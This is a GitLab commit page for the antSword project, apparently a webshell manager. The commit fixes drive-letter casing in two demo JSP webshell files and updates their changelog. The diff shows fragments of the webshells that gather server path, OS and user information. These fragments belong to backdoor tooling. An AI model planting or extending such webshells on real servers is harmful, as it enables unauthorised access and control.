Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
6098f409
Commit
6098f409
authored
Dec 26, 2018
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
(BugFix:ShellDemo) 修正jsp demoshell windows 下基础路径获取盘符会出现小写的情况
parent
aa686ac5
Changes
2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
5 additions
and
1 deletion
+5
-1
jsp_custom_script_for_mysql.jsp
shells/jsp_custom_script_for_mysql.jsp
+3
-0
jspx_custom_script_for_mysql.jspx
shells/jspx_custom_script_for_mysql.jspx
+2
-1
No files found.
shells/jsp_custom_script_for_mysql.jsp
View file @
6098f409
...
@@ -24,6 +24,8 @@
...
@@ -24,6 +24,8 @@
已知问题:
已知问题:
1. 文件管理遇到中文文件名显示的问题
1. 文件管理遇到中文文件名显示的问题
ChangeLog:
ChangeLog:
v1.4
1. 修正 windows 下基础路径获取盘符会出现小写的情况
v1.3
v1.3
1. 修正上传文件超过1M时的bug
1. 修正上传文件超过1M时的bug
2. 修正weblogic war 包布署获取路径问题
2. 修正weblogic war 包布署获取路径问题
...
@@ -282,6 +284,7 @@ ChangeLog:
...
@@ -282,6 +284,7 @@ ChangeLog:
String cd = this.getClass().getResource("
/
").getPath();
String cd = this.getClass().getResource("
/
").getPath();
d = new File(cd).getParent();
d = new File(cd).getParent();
}
}
d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
String serverInfo = (String)System.getProperty("
os
.
name
");
String serverInfo = (String)System.getProperty("
os
.
name
");
String separator = File.separator;
String separator = File.separator;
String user = (String)System.getProperty("
user
.
name
");
String user = (String)System.getProperty("
user
.
name
");
...
...
shells/jspx_custom_script_for_mysql.jspx
View file @
6098f409
...
@@ -21,7 +21,7 @@
...
@@ -21,7 +21,7 @@
注意:以上是两行
注意:以上是两行
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
Ver:1.
3
Ver:1.
4
-->
-->
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
...
@@ -274,6 +274,7 @@ Ver:1.3
...
@@ -274,6 +274,7 @@ Ver:1.3
String cd = this.getClass().getResource("/").getPath();
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
d = new File(cd).getParent();
}
}
d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
String serverInfo = (String)System.getProperty("os.name");
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String user = (String)System.getProperty("user.name");
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment